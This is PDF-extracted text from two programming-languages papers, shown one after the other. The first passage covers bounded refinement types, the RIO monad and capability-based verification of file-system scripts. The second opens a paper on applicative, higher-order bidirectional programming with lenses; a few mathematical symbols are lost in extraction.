ifM :: (Pure g, Then g p1, Else g p2)
⇒ RIO <p , g> Bool -- cond
→ RIO <p1, q> a -- then
→ RIO <p2, q> a -- else
→ RIO <p , q> a

The abstract refinements and bounds correspond exactly to the hy-
potheses in the Floyd-Hoare rule for the if statement. The bound
Pure g states that the cond action may access but does not modify
the World, i.e., the output is the same as the input World. (In clas-
sical Floyd-Hoare formulations this is done by syntactically sepa-
rating terms into pure expressions and side effecting statements).
The bound Then g p1 and Else g p2 respectively state that the
preconditions of the then and else actions are established when
the cond returns True and False respectively.

We can use ifM to implement a stateful computation that per-
forms a division, after checking the divisor is non-zero. We specify
that div should not be called with a zero divisor. Then, LIQUID-
HASKELL verifies that div is called safely:

div :: Int → {v:Int | v /= 0} → Int

ifTest :: RIO Int
ifTest = ifM nonZero divX (return 10)

where nonZero = getCtr >>= return . (/= 0)
divX = getCtr >>= return . (div 42)

Verification succeeds as the post-condition of nonZero is in-
stantiated to λ_ b w →b ⇔ select w ctr /= 0 and the pre-
condition of divX’s is instantiated to λw →select w ctr /= 0,
which suffices to prove that div is only called with non-zero values.

The whileM combinator formalizes loops as RIO computations:

whileM :: (OneState q, Inv p g b, Exit p g q)
⇒ RIO <p, g> Bool -- cond
→ RIO <pTrue , b> () -- body
→ RIO <p, q> ()

As with ifM, the hypotheses of the Floyd-Hoare derivation rule
become bounds for the signature. Given a condition with pre-
condition p and post-condition g and body with a true precondi-
tion and post-condition b, the computation whileM cond body has
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pread , pwrite , plookup , pcontents ,
pcreateD , pcreateF , pcreateFP :: Priv → Bool

active :: World → Set FH
caps :: World → Map FH Priv

pset p h = λw → p (select (caps w) h) &&
h ∈ active w

Figure 6. Privilege Specification

precondition p and post-condition q as long as the bounds (cor-
responding to the Hypotheses in the Floyd-Hoare derivation rule)
hold. First, p should be a loop invariant; i.e., when the condition
returns True the post-condition of the body b must imply the p:

bound Inv p g b = λw w’ w’’ →
p w ⇒ g w True w’ ⇒ b w’ () w’’ ⇒ p w’’

Second, when the condition returns False the invariant p should
imply the loop’s post-condition q:

bound Exit p g q = λw w’ →
p w ⇒ g w False w’ ⇒ q w () w’

Third, to avoid having to transitively connect the guard and the
body, we require that the loop post-condition be a one-state predi-
cate, independent of the input world (as in Floyd-Hoare logic):

bound OneState q = λw w’ w’’ →
q w () w’’ ⇒ q w’ () w’’

We can use whileM to implement a loop that repeatedly decre-
ments a counter while it is positive, and to then verify that if it was
initially non-negative, then at the end the counter is equal to 0.

whileTest :: RIO <posCtr , zeroCtr > ()
whileTest = whileM gtZeroX decr

where gtZeroX = getCtr >>= return . (> 0)

posCtr = λw → 0 ≤ select w ctr
zeroCtr = λ_ _ w’ → 0 == select w ctr

Where the decrement is implemented by decr with type:

decr :: RIO <pTrue , decCtr > ()

decCtr = λw _ w’ →
w’ == update w ctr (( select ctr w) - 1)

LIQUIDHASKELL verifies that at the end of whileTest the counter
is zero (i.e., the post-condition zeroCtr) by instantiating suitable
(i.e., inductive) refinements for this particular use of whileM.

6. Capability Safe Scripting via RIO

Next, we describe how we use the RIO monad to reason about shell
scripting, inspired by the Shill [15] programming language.

Shill is a scripting language that restricts the privileges with
which a script may execute by using capabilities and dynamic con-
tract checking [15] . Capabilities are run-time values that witness
the right to use a particular resource (e.g., a file). A capability is
associated with a set of privileges, each denoting the permission
to use the capability in a particular way (such as the permission
to write to a file). A contract for a Shill procedure describes the
required input capabilities and any output values. The Shill run-
time guarantees that system resources are accessed in the manner
described by its contract.

In this section, we turn to the problem of preventing Shill
runtime failures. (In general, the verification of file system resource
usage is a rich topic outside the scope of this paper.) That is,
assuming the Shill runtime and an API as described in [15],
how can we use Bounded Refinement Types to encode scripting
privileges and reason about them statically?

We use RIO types to specify Shill’s API operations thereby
providing compile-time guarantees about privilege and resource
usage. To achieve this, we: connect the state (World) of the RIO
monad with a privilege specification denoting the set of privileges
that a program may use (§ 6.1); specify the file system API in terms
of this abstraction (§ 6.2); and use the above to specify and verify
the particular privileges that a client of the API uses (§ 6.3).

6.1 Privilege Specification

Figure 6 summarizes how we specify privileges inside RIO. We
use the type FH to denote a file handles, analogous to Shill’s
capabilities. An abstract type Priv denotes the sets of privileges
that may be associated with a particular FH.

To connect Worlds with Privileges we assume a set of uninter-
preted functions of type Priv → Bool that act as predicates on
values of type Priv, each denoting a particular privilege. For ex-
ample, given a value p :: Priv, the proposition pread p denotes
that p includes the “read” privilege. The function caps associates
each World with a Map FH Priv, a table that associates each FH
with its privileges. The function active maps each World to the
Set of allocated FHs. Given x:FH and w:World, pwrite (select
(caps w)x) denotes that in the state w, the file x may be written.
This pattern is generalized by the predicate pset pwrite x w.

6.2 File System API Specification

A privilege tracking file system API can be partitioned into the priv-
ilege preserving operations and the privilege extending operations.

To type the privilege preserving operations, we define a predicate
eqP w w’ that says that the set of privileges and active handles in
worlds w and w’ are equivalent.

eqP = λw _ w’ →
caps w == caps w’ && active w == active w’

We can now specify the privilege preserving operations that read
and write files, and list the contents of a directory, all of which
require the capabilities to do so in their pre-conditions:

read :: {- Read the contents of h -}
h:FH → RIO <pset pread h, eqp > String

write :: {- Write to the file h -}
h:FH → String → RIO <pset pwrite h, eqp > ()

contents :: {- List the children of h -}
h:FH → RIO <pset pcontents h, eqp > [Path]

To type the privilege extending operations, we define predicates
that say that the output world is suitably extended. First, each such
operation allocates a new handle, which is formalized as:

alloc w’ w x =
(x 6∈ active w) && active w’ == {x} ∪ active w

which says that the active handles in (the new World) w’ are those
of (the old World) w extended with the hitherto inactive handle x.
Typically, after allocating a new handle, a script will want to add
privileges to the handle that are obtained from existing privileges.
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To create a new file in a directory with handle h we want the
new file to have the privileges derived from pcreateFP (select
(caps w)h) (i.e., the create privileges of h). We formalize this by
defining the post-condition of create as the predicate derivP:

derivP h = λw x w’ →
alloc w’ w x &&
caps w’ == store (caps w) x

(pcreateFP (select (caps w)) h)

create :: {- Create a file -}
h:FH→Path→RIO <pset pcreateF h, derivP h> FH

Thus, if h is writable in the old World w (pwrite (pcreateFP
(select (caps w)h))) and x is derived from h (derivP w’ w x
h both hold), then we know that x is writable in the new World w’
(pwrite (select (caps w’)x)).

To lookup existing files or create sub-directories, we want to
directly copy the privileges of the parent handle. We do this by
using a predicate copyP as the post-condition for the two functions:

copyP h = λw x w’ →
alloc w’ w x &&
caps w’ == store (caps w) x

(select (caps w) y)

lookup :: {- Open a child of h -}
h:FH→Path→RIO <pset plookup h, copyP h> FH

createDir :: {- Create a directory -}
h:FH→Path→RIO <pset pcreateD h, copyP h> FH

6.3 Client Script Verification

We now turn to a client script, the program copyRec that copies the
contents of the directory f to the directory d.

copyRec recur s d =
do cs <- contents s

forM_ cs $ λ p → do
x <- flookup s p
when (isFile x) $ do

y <- create d p
s <- fread x
write y s

when (recur && (isDir x)) $ do
y <- createDir d p
copyRec recur x y

copyRec executes by first listing the contents of f, and then opening
each child path p in f. If the result is a file, it is copied to the
directory d. Otherwise, copyRec recurses on p, if recur is true.

In a first attempt to type copyRec we give it the following type:

copyRec :: Bool → s:FH → d:FH →
RIO <copySpec s d,

λ_ _ w → copySpec s d w> ()

copySpec h d = λw →
pset pcontents h w && pset plookup h w &&
pset pread h w && pset pcreateFile d w &&
pset pwrite d w && pset pcreateF d w &&
pwrite (pcreateFP (select (caps w) d)))

The above specification gives copyRec a minimal set of privileges.
Given a source directory handle s and destination handle d, the
copyRec must at least: (1) list the contents of s (pcontents),
(2) open children of s (plookup), (3) read from children of s
(pread), (4) create directories in d (pcreateD), (5) create files
in d (pcreateF), an (6) write to (created) files in d (pwrite).

Furthermore, we want to restrict the privileges on newly created
files to the write privilege, since copyRec does not need to read
from or otherwise modify these files.

Even though the above type is sufficient to verify the vari-
ous clients of copySpec it is insufficient to verify copySpec’s im-
plementation, as the postcondition merely states that copySpec
s d w holds. Looking at the recursive call in the last line of
copySpec’s implementation, the output world w is only known to
satisfy copySpec x y w (having substituted the formal parameters
s and d with the actual x and y), with no mention of s or d! Thus, it
is impossible to satisfy the postcondition of copyRec, as informa-
tion about s and d has been lost.

Framing is introduced to address the above problem. Intuitively,
because no privileges are ever revoked, if a privilege for a file
existed before the recursive call, then it exists after as well. We
thus introduce a notion of framing – assertions about unmodified
state that hold before calling copyRec must hold after copyRec
returns. Solidifying this intuition, we define a predicate i to be
Stable when assuming that the predicate i holds on w, if i only
depends on the allocated set of privileges, then i will hold on a
world w’ so long as the set of priviliges in w’ contains those in
w. The definition of Stable is derived precisely from the ways in
which the file system API may modify the current set of privileges:

bound Stable i = λx y w w’ →
i w ⇒ ( eqP w () w’ || copyP y w x w’

|| derivP y w x w’
) ⇒ i w’

We thus parameterize copyRec by a predicate i, bounded by
Stable i, which precisely describes the possible world transfor-
mations under which i should be stable:

copyFrame i s d = λw → i w && copySpec s d w

copyRec :: (Stable i) ⇒
Bool → s:FH → d:FH →
RIO <copyFrame i s d,

λ_ _ w → copyFrame i s d w> ()

Now, we can verify copyRec’s body, as at the recursive call that
appears in the last line of the implementation, i is instantiated with
λw →copySpec s d w.

7. Related Work
Higher order Logics and Dependent Type Systems includ-
ing NuPRL [4], Coq [3], Agda [18], and even to some extent,
Haskell [14, 20], occupy the maximal extreme of the expressive-
ness spectrum. However, in these settings, checking requires ex-
plicit proof terms which can add considerable programmer over-
head. Our goal is to eliminate the programmer overhead of proof
construction by restricting specifications to decidable, first order
logics and to see how far we can go without giving up on expres-
siveness. The F* system enables full dependent typing via SMT
solvers via a higher-order universally quantified logic that permit
specifications similar to ours (e.g., compose, filter and foldr).
While this approach is at least as expressive as bounded refine-
ments it has two drawbacks. First, due to the quantifiers, the gener-
ated VCs fall outside the SMT decidable theories. This renders the
type system undecidable (in theory), forcing a dependency on the
solver’s unpredictable quantifier instantiation heuristics (in prac-
tice). Second, more importantly, the higher order predicates must
be explicitly instantiated, placing a heavy annotation burden on the
programmer. In contrast, bounds permit decidable checking, and
are automatically instantiated via Liquid Types.
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Our notion of Refinement Types has its roots in the predicate
subtyping of PVS [22] and indexed types (DML [30]) where types
are constrained by predicates drawn from a logic. To ensure decid-
able checking several refinement type systems including [6, 29, 30]
restrict refinements to decidable, quantifier free logics. While this
ensures predictable checking and inference [21] it severely limits
the language of specifications, and makes it hard to fashion simple
higher order abstractions like filter (let alone the more complex
ones like relational algebras and state transformers.)

To Reconcile Expressiveness and Decidability CATALYST [11]
permits a form of higher order specifications where refinements are
relations which may themselves be parameterized by other rela-
tions, which allows for example, a way to precisely type filter
by suitably composing relations. However, to ensure decidable
checking, CATALYST is limited to relations that can be specified
as catamorphisms over inductive types, precluding for example,
theories like arithmetic. More importantly, (like F*), CATALYST
provides no inference: higher order relations must be explicitly in-
stantiated. Bounded refinements build directly upon abstract refine-
ments [27], a form of refinement polymorphism analogous to para-
metric polymorphism. While [27] adds expressiveness via abstract
refinements, without bounds we cannot specify any relationships
between the abstract refinements. The addition of bounds makes it
possible to specify and verify the examples shown in this paper,
while preserving decidability and inference.

Our Relational Algebra Library builds on a long line of work
on type safe database access. The HaskellDB [13] showed how
phantom types could be used to eliminate certain classes of er-
rors. Haskell’s HList library [12] extends this work with type-level
computation features to encode heterogeneous lists, which can be
used to encode database schema, and (unlike HaskellDB) statically
reject accesses of “missing” fields. The HList implementation is
non-trivial, requiring new type-classes for new operations (e.g.,
appending lists); [19] shows how a dependently typed language
greatly simplifies the implementation. Much of this simplicity can
be recovered in Haskell using the singleton library [7]. Our goal
is to show that bounded refinements are expressive enough to per-
mit the construction of rich abstractions like a relational algebra
and generic combinators for safe database access while using SMT
solvers to provide decidable checking and inference. Further, un-
like the HList based approaches, refinements they can be used to
retroactively or gradually verify safety; if we erase the types we
still get a valid Haskell program operating over homogeneous lists.

Our Approach for Verifying Stateful Computations using mon-
ads indexed by pre- and post-conditions is inspired by the method
of Filliâtre [8], which was later enriched with separation logic in
Ynot [16]. In future work it would be interesting to use separation
logic based refinements to specify and verify the complex sharing
and aliasing patterns allowed by Ynot. F* encodes stateful compu-
tations in a special Dijkstra Monad [23] that replaces the two as-
sertions with a single (weakest-precondition) predicate transformer
which can be composed across sub-computations to yield a trans-
former for the entire computation. Our RIO approach uses the idea
of indexed monads but has two concrete advantages. First, we show
how bounded refinements alone suffice to let us fashion the RIO ab-
straction from scratch. Consequently, second, we automate infer-
ence of pre- and post-conditions and loop invariants as refinement
instantiation via Liquid Typing.
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[8] J.C. Filliâtre. Proof of imperative programs in type theory. In TYPES,
1998.

[9] C. Fournet, M. Kohlweiss, and P-Y. Strub. Modular code-based cryp-
tographic verification. In CCS, 2011.

[10] A. Guha, M. Fredrikson, B. Livshits, and N. Swamy. Verified security
for browser extensions. In IEEE S & P, 2011.

[11] G. Kaki and S. Jagannathan. A relational framework for higher-order
shape analysis. In ICFP, 2014.
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Abstract
A bidirectional transformation is a pair of mappings between source
and view data objects, one in each direction. When the view is
modified, the source is updated accordingly with respect to some
laws. One way to reduce the development and maintenance effort
of bidirectional transformations is to have specialized languages
in which the resulting programs are bidirectional by construction—
giving rise to the paradigm of bidirectional programming.

In this paper, we develop a framework for applicative-style
and higher-order bidirectional programming, in which we can
write bidirectional transformations as unidirectional programs in
standard functional languages, opening up access to the bundle
of language features previously only available to conventional
unidirectional languages. Our framework essentially bridges two
very different approaches of bidirectional programming, namely
the lens framework and Voigtländer’s semantic bidirectionalization,
creating a new programming style that is able to bag benefits from
both.

Categories and Subject Descriptors D.1.1 [Programming Tech-
niques]: Applicative (Functional) Programming; D.3.3 [Program-
ming Language]: Languages Constructs and Features—Data types
and structures, Polymorphism

General Terms Languages

Keywords Bidirectional Programming, Lens, Bidirectionalization,
Free Theorem, Functional Programming, Haskell

1. Introduction
Bidirectionality is a reoccurring aspect of computing: transforming
data from one format to another, and requiring a transformation in
the opposite direction that is in some sense an inverse. The most
well-known instance is the view-update problem [1, 6, 8, 13] from
database design: a “view” represents a database computed from
a source by a query, and the problem comes when translating an
update of the view back to a “corresponding” update on the source.

But the problem is much more widely applicable than just to
databases. It is central in the same way to most interactive programs,
such as desktop and web applications: underlying data, perhaps
represented in XML, is presented to the user in a more accessible
format, edited in that format, and the edits translated back in terms
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of the underlying data [12, 16, 30]. Similarly for model transfor-
mations, playing a substantial role in software evolution: having
transformed a high-level model into a lower-level implementation,
for a variety of reasons one often needs to reverse engineer a revised
high-level model from an updated implementation [42, 43].

Using terminologies originated from the lens framework [4, 9,
10], bidirectional transformations, coined lenses, can be represented
as pairs of functions known as get of type S → V and put of type
S → V → S . Function get extracts a view from a source, and
put takes both an updated view and the original source as inputs to
produce an updated source. An example definition of a bidirectional
transformation in Haskell notations is

data L s v = L {get :: s → v , put :: s → v → s }
fstL :: L (a, b) a
fstL = L (λ(a, )→ a) (λ( , b) a → (a, b))

A value ` of type L s v is a lens that has two function fields
namely get and put , and the record syntax overloads the field names
as access functions: get ` has type s → v and put ` has type
s → v → s . The datatype is used in the definition of fstL where
the first element of a source pair is projected as the view, and may
be updated to a new value.

Not all bidirectional transformations are considered “reason-
able" ones. The following laws are generally required to establish
bidirectionality:

put ` s (get ` s) = s (Acceptability)

get ` s ′ = v if put ` s v = s ′ (Consistency)

for all s , s ′ and v . Note that in this paper, we write e = e′ with
the assumption that neither e nor e′ is undefined. Here Consistency
(also known as the PutGet law [9]) roughly corresponds to right-
invertibility, ensuring that all updates on a view are captured
by the updated source; and Acceptability (also known as the
GetPut law [9]), prohibits changes to the source if no update has
been made on the view. Collectively, the two laws defines well-
behavedness [1, 9, 13]. A bidirectional transformation L get put
is called well-behaved if it satisfies well-behavedness. The above
example fstL is a well-behaved bidirectional transformation.

By dint of hard effort, one can construct separately the forward
transformation get and the corresponding backward transformation
put . However, this is a significant duplication of work, because the
two transformations are closely related. Moreover, it is prone to
error, because they do really have to correspond with each other to
be well-behaved. And, even worse, it introduces a maintenance issue,
because changes to one transformation entail matching changes to
the other. Therefore, a lot of work has gone into ways to reduce this
duplication and the problems it causes; in particular, there has been
a recent rise in linguistic approaches to streamlining bidirectional
transformations [2, 4, 9–11, 14, 16, 20–22, 25, 27, 30, 33, 35, 36, 38–
41].
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Ideally, bidirectional programming should be as easy as usual
unidirectional programming. For this to be possible, techniques of
conventional languages such as applicative-style and higher-order
programming need to be available in the bidirectional languages, so
that existing programming idioms and abstraction methods can be
ported over. It makes sense to at least allow programmers to treat
functions as first-class objects and have them applied explicitly. It
is also beneficial to be able to write bidirectional programs in the
same style of their gets, as cultivated by traditional unidirectional
programming programmers normally start with (at least mentally)
constructing a get before trying to make it bidirectional.

However, existing bidirectional programming frameworks fall
short of this goal by quite a distance. The lens bidirectional pro-
gramming framework [2, 4, 9–11, 16, 25, 27, 30, 38, 39], the most
influential of all, composes small lenses into larger ones by special
lens combinators. The combinators preserve well-behavedness, and
thus produce bidirectional programs that are correct by construction.
Lenses are impressive in many ways: they are highly expressive and
adaptable, and in many implementations a carefully crafted type
system guarantees the totality of the bidirectional transformation.
But at the same time, like many other combinator-based languages,
lenses restrict programming to the point-free style, which may not
be the most appropriate in all cases. We have learned from past
experiences [23, 28] that a more convenient programming style does
profoundly impact on the popularity of a language.

The researches on bidirectionalization [14, 20–22, 33, 35, 36,
38, 39, 41], which mechanically derives a suitable put from an
existing get , share the same spirit with us to some extent. The
gets can be programmed in a unidirectional language and passed
in as objects to the bidirectionalization engine, which performs
program analysis and the generation of puts. However, the existing
bidirectionalization methods are whole program analyses; there is
no better way to compose individually constructed bidirectional
transformations.

In this paper, we develop a novel bidirectional programming
framework:

• As lenses, it supports composition of user-constructed bidirec-
tional transformations, and well-behavedness of the resulting
bidirectional transformations is guaranteed by construction.

• As a bidirectionalization system, it allows users to write bidirec-
tional transformations almost in the same way as that of gets, in
an applicative and higher-order programming style.

The key idea of our proposal is to lift lenses of type L (A1, . . . ,An) B
to lens functions of type

∀s.LT s A1 → · · · → LT s An → . . . → LT s B

where LT is a type-constrained version of L (Sections 2 and 3).
The n-tuple above is then generalized to data structures such as
lists in Section 4. This function representation of lenses is open to
manipulation in an applicative style, and can be passed to higher-
order functions directly. For example, we can write a bidirectional
version of unlines , defined by

unlines :: [String ]→ String
unlines [ ] = ""
unlines (x : xs) = x ++ "\n"++ unlines xs

as below.

unlinesF :: [LT s String ]→ LT s String
unlinesF [ ] = new ""
unlinesF (x : xs) = lift2 catLineL (x , unlinesF xs)

where catLineL is a lens version of λx y → x ++"\n"++y . In the
above, except for the noise of new and lift2 , the definition is faithful
to the original structure of unlines’ definition, in an applicative

style. With the heavy-lifting done in defining the lens function
unlinesF, a corresponding lens unlinesL :: L [String ] String is
readily available through straightforward unlifting: unlinesL =
unliftT unlinesF.

We demonstrate the expressiveness of our system through a
realistic example of a bidirectional evaluator for a higher-order pro-
gramming language (Section 5), followed by discussions of smooth
integration of our framework with both lenses and bidirectional-
ization approaches (Section 6). We discuss related techniques in
Section 7, in particularly making connection to semantic bidirection-
alization [21, 22, 33, 41] and conclude in Section 8. An implemen-
tation of our idea is available from https://hackage.haskell.
org/package/app-lens.

Notes on Proofs and Examples. Due to the space restriction, we
omit many of the proofs in this paper, but note that some of the
proofs are based on free theorems [34, 37]. To simplify the formal
discussion, we assume that all functions except puts are total and
no data structure contains ⊥. To deal with the partiality of puts, we
assume that a put function of type A→ B → A can be represented
as a total function of type A → B → Maybe A, which upon
termination will produce either a value Just a or an error Nothing .

We strive to balance the practicality and clarity of examples.
Very often we deliberately choose small but hopefully still illu-
minating examples aiming at directly demonstrating the and only
the theoretical issue being addressed. In addition, we include in
Section 5 a sizeable application and would like to refer interested
readers to https://bitbucket.org/kztk/app-lens for exam-
ples ranging from some general list functions in Prelude to the
specific problem of XML transformations.

2. Bidirectional Transformations as Functions
Conventionally, bidirectional transformations are represented di-
rectly as pairs of functions [9, 13, 14, 16, 20–22, 25, 33, 35, 36, 38–
41] (see the datatype L defined in Section 1). In this paper, we
use lenses to refer specifically bidirectional transformations in this
representation.

Lenses can be constructed and reasoned compositionally. For
example, with the composition operator “◦̂”

(◦̂) :: L b c → L a b → L a c
(L get2 put2) ◦̂ (L get1 put1) =

L (get2 ◦ get1) (λs v → put1 s (put2 (get1 s) v))

we can compose fstL to itself to obtain a lens that operates on nested
pairs, as below.

fstTriL :: L ((a, b), c) a
fstTriL = fstL ◦̂ fstL

Well-behavedness is preserved by such compositions: fstTriL is
well-behaved by construction assuming well-behaved fstL.

The composition operator “◦̂” has the identity lens idL as its
unit.

idL :: L a a
idL = L id (λ v → v)

2.1 Basic Idea: A Functional Representation Inspired by
Yoneda

Our goal is to develop a representation of bidirectional transfor-
mations such that we can apply them, pass them to higher-order
functions and reason about well-behavedness compositionally.

Inspired by the Yoneda embedding in category theory [19], we
lift lenses of type L a b to polymorphic functions of type

∀s.L s a → L s b
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by lens composition

lift :: L a b → (∀s.L s a → L s b)
lift ` = λx → ` ◦̂ x

Intuitively, a lens of type L s A with the universally quantified type
variable s can be seen as an updatable datum of type A, and a lens
of type L A B as a transformation of type ∀s.L s A→ L s B on
updatable data. We call such lifted lenses lens functions.

The lifting function lift is injective, and has the following left
inverse.

unlift :: (∀s.L s a → L s b)→ L a b
unlift f = f idL

Since lens functions are normal functions, they can be composed
and passed to higher-order functions in the usual way. For example,
fstTriL can now be defined with the usual function composition.

fstTriL :: L ((a, b), c) a
fstTriL = unlift (lift fstL ◦ lift fstL)

Alternatively in a more applicative style, we can use a higher-order
function twice :: (a → a)→ a → a as below.

fstTriL = unlift (λx → twice (lift fstL) x )
where twice f x = f (f x )

Like many category-theory inspired isomorphisms, this func-
tional representation of bidirectional transformations is not un-
known [7]; but its formal properties and applications in practical
programming have not been investigated before.

2.2 Formal Properties of Lens Functions
We reconfirm that lift is injective with unlift as its left inverse.

Proposition 1. unlift (lift `) = ` for all lenses ` :: L A B .

We say that a function f preserves well-behavedness, if f ` is
well-behaved for any well-behaved lens `. Functions lift and unlift
have the following desirable properties.

Proposition 2. lift ` preserves well-behavedness if ` is well-
behaved.

Proposition 3. unlift f is well-behaved if f preserves well-
behavedness.

As it stands, the type L is open and it is possible to define lens
functions through pattern-matching on the constructor. For example

f :: Eq a ⇒ L s (Maybe a)→ L s (Maybe a)
f (L g p) = L g (λs v → if v g s then s

else p (p s Nothing) v)

Here the input lens is pattern matched and the get /put components
are used directly in constructing the output lens, which breaks
encapsulation and blocks compositional reasoning of behaviors.

In our framework the intention is that all lens functions are
constructed through lifting, which sees bidirectional transformations
as atomic objects. Thus, we require that L is used as an “abstract
type” in defining lens functions of type ∀s.L s A→ L s B . That
is, we require the following conditions.

• L values must be constructed by lifting.
• L values must not be destructed.

This requirement is formally written as follows.

Definition 1 (Abstract Nature of L). We say L is abstract in f :: τ
if there is a polymorphic function h of type

∀`. (∀a b.L a b → (∀s. ` s a → ` s b))
→ (∀a b. (∀s. ` s a → ` s b)→ L a b)→ τ ′

where τ ′ = τ [`/L] and f = h lift unlift .

Essentially, the polymorphic ` in h’s type prevents us from using
the constructor L directly, while the first functional argument of h
(which is lift) provides the means to create L values.

Now the compositional reasoning of well-behavedness extends to
lens functions; we can use a logical relation [31] to characterize well-
behavedness for higher-order functions. As an instance, we can state
that functions of type ∀s.L s A → L s B are well-behavedness
preserving as follows.

Theorem 1. Let f :: ∀s.L s A→ L s B be a function in which L
is abstract. Suppose that all applications of lift in the definition of
f are to well-behaved lenses. Then, f preserves well-behavedness,
and thus unlift f is well-behaved.

2.3 Guaranteeing Abstraction
Theorem 1 requires the condition that L is abstract in f , which can
be enforced by using abstract types through module systems. For
example, in Haskell, we can define the following module to abstract
L.

module AbstractLens (Labs, liftabs, unliftabs) where

newtype Labs a b = Labs {unLabs :: L a b}
liftabs :: L a b → (∀s.Labs s a → Labs s b)
unliftabs :: (∀s.Labs s a → Labs s b)→ L a b

Outside the module AbstractLens , we can use liftabs, unliftabs
and type Labs itself, but not the constructor of Labs. Thus the only
way to access data of type L is through liftabs and unliftabs.

A consequence of having abstract L is that lift is now surjective
(and unlift is now injective). We can prove the following property
using the free theorems [34, 37].

Lemma 1. Let f be a function of type ∀s.L s A→ L s B in which
L is abstract. Then f ` = f idL ◦̂ ` holds for all ` :: L S A.

Correspondingly, we also have that unlift is injective on lens
functions.

Theorem 2. For any f ::∀s.L s A→ L s B in which L is abstract,
lift (unlift f ) = f holds.

In the rest of this paper, we always assume abstract L unless
specially mentioned otherwise.

2.4 Categorical Notes
As mentioned earlier, our idea of mapping L A B to ∀s.L s A→
L s B is based on the Yoneda lemma in category theory (Section
III.2 in [19]). Since our purpose of this paper is not categorical
formalization, we briefly introduce an analogue of the Yoneda
lemma that is enough for our discussion.

Theorem 3 (An Analogue of the Yoneda Lemma (Section III.2 in
[19])). A pair of functions (lift , unlift) is a bijection between

• {` :: L A B}, and
• {f :: ∀s.L s A→ L s B | f x ◦̂ y = f (x ◦̂ y)}.

The condition f x ◦̂y = f (x ◦̂y) is required to make f a natural
transformation between functors L (−) A and L (−) B ; here, the
contravariant functor L (−) A maps a lens ` of type L Y X to
a function (λy → y ◦̂ `) of type L X A → L Y A. Note that
f x ◦̂ y = f (x ◦̂ y) is equivalent to f x = f idL ◦̂ x . Thus the
naturality conditions imply Theorem 2.

In the above, we have implicitly considered the category of
(possibly non-well-behaved) lenses, in which objects are types
(sets in our setting) and morphisms from A to B are lenses of
type L A B . This category of lenses is monoidal [15] but not
closed [30], and thus has no higher-order functions. That is, there is
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no type X B C such that there is a bijection between L (A,B) C
and L A (X B C ), which can be easily checked by comparing
cardinalities. Our discussion does not conflict with this fact. What
we state is that, for any s, (L s A,L s B)→ L s C is isomorphic
to L s A → (L s B → L s C ) via standard curry and uncurry ;
note that s is quantified globally.

Also note that L s (−) is a functor that maps a lens ` to a
function lift `. It is not difficult to check that lift x ◦ lift y =
lift (x ◦̂ y) and lift (idL :: L A A) = (id :: L s A→ L s A).

3. Lifting n-ary Lenses and Flexible Duplication
So far we have presented a system that lifts lenses to functions,
manipulates the functions, and then “unlifts” the results to con-
struct composite lenses. One example is fstTriL from Section 2
reproduced below.

fstTriL :: L ((a, b), c) a
fstTriL = unlift (lift fstL ◦ lift fstL)

Astute readers may have already noticed the type L ((a, b), c) a
which is subtly distinct from L (a, b, c) a . One reason for this is
with the definition of fstTriL, which consists of the composition of
lifted fstLs. But more fundamentally it is the type of lift (L x y →
(∀s.L s x → L s y)), which treats x as a black box, that has
prevented us from rearranging the tuple components.

Let’s illustrate the issue with an even simpler example that goes
directly to the heart of the problem.

swapL :: L (a, b) (b, a)
swapL = . . .

Following the programming pattern developed so far, we would
like to construct this lens with the familiar unidirectional function
swap::(a, b)→ (b, a). But since lift only produces unary functions
of type ∀s.L s A → L s B , despite the fact that A and B are
actually pair types here, there is no way to compose swap with the
resulting lens function.

In order to construct swapL and many other lenses, including
unlinesL in Section 1, a conversion of values of type ∀s. (L s A1,
. . . ,L s An) to values of type ∀s.L s (A1, . . . ,An) is needed. In
this section we look at how such a conversion can be defined for
binary lenses, which can be easily extended to arbitrary n-ary cases.

3.1 Caveats of the Duplication Lens
To define a function of type ∀s. (L s A,L s B)→ L s (A,B), we
use the duplication lens dupL (also known as copy elsewhere [9])
defined as below. For simplicity, we assume that ( ) represents
observational equivalence.

dupL :: Eq s ⇒ L s (s, s)
dupL = L (λs → (s, s)) (λ (s, t)→ r s t)

where r s t | s t = s -- This will cause a problem.

With the duplication lens, the above-mentioned function can be
defined as

(~) :: Eq s ⇒ L s a → L s b → L s (a, b)
x ~ y = (x ⊗̂ y) ◦̂ dupL

where (⊗̂) is a lens combinator that combines two lenses applying
to each component of a pair [9]:

(⊗̂) :: L a a ′ → L b b′ → L (a, b) (a ′, b′)
(L get1 put1) ⊗̂ (L get2 put2) =

L (λ(a, b)→ (get1 a, get2 b))
(λ(a, b) (a ′, b′)→ (put1 a a ′, put2 b b′))

We call (~) “split” in this paper. With (~) we can support the lifting
of binary lenses as below.

lift2 :: L (a, b) c → (∀s. (L s a,L s b)→ L s c)
lift2 ` (x , y) = lift ` (x ~ y)

It is tempting to have the following as the inverse for lift2 .

unlift2 :: (∀s. (L s a,L s b)→ L s c)→ L (a, b) c
unlift2 f = f (fstL, sndL)

But unlift2 ◦ lift2 does not result in identity:

(unlift2 ◦ lift2 ) `
= { definition unfolding & β-reduction }
` ◦̂ (fstL ~ sndL)

= { unfolding (~) }
` ◦̂ (fstL ⊗̂ sndL) ◦̂ dupL

= { definition unfolding }
` ◦̂ blockL where

blockL = L id (λs v → if s v then v else ⊥)
Lens blockL is not a useful lens because it blocks any update to the
view. Consequently any lenses composed with it become useless
too.

3.2 Flexible and Safe Duplication by Tagging
In the above, the equality comparison s v that makes unlift2 ◦
lift2 useless has its root in dupL. If we look at the lens dupL in
isolation, there seems to be no alternative. The two duplicated values
have to remain equal for the bidirectional laws to hold. However,
if we consider the context in which dupL is applied, there is more
room for maneuver. Let us consider the lifting function lift2 again,
and how put dupL, which rejects the update above, works in the
execution of put (unlift2 (lift2 idL)).

put (unlift2 (lift2 idL)) (1, 2) (3, 4)
= { simplification }

put ((fstL ⊗̂ sndL) ◦̂ dupL) (1, 2) (3, 4)
= { definition unfolding & β-reduction }

put dupL (1, 2) (put fstL (1, 2) 3, put sndL (1, 2) 4)
= { β-reduction }

put dupL (1, 2) ((3, 2), (1, 4))

The last call to put dupL above will fail because (3, 2) 6≡ (1, 4).
But if we look more carefully, there is no reason for this behavior:
lift2 idB should be able to update the two elements of the pair
independently. Indeed in the put execution above, relevant values
to the view change as highlighted by underlining are only compared
for equality with irrelevant values. That is to say, we should be able
to relax the equality check in dupL and update the old source (1, 2)
to (3, 4) without violating bidirectional laws.

To achieve this, we tag the values according to their relevance to
view updates [25].

data Tag a = U {unTag :: a } | O {unTag :: a }
Tag U (representing Updated) means the tagged value may be
relevant to the view update and O (representing Original) means the
tagged value must not be relevant to the view update. The idea is that
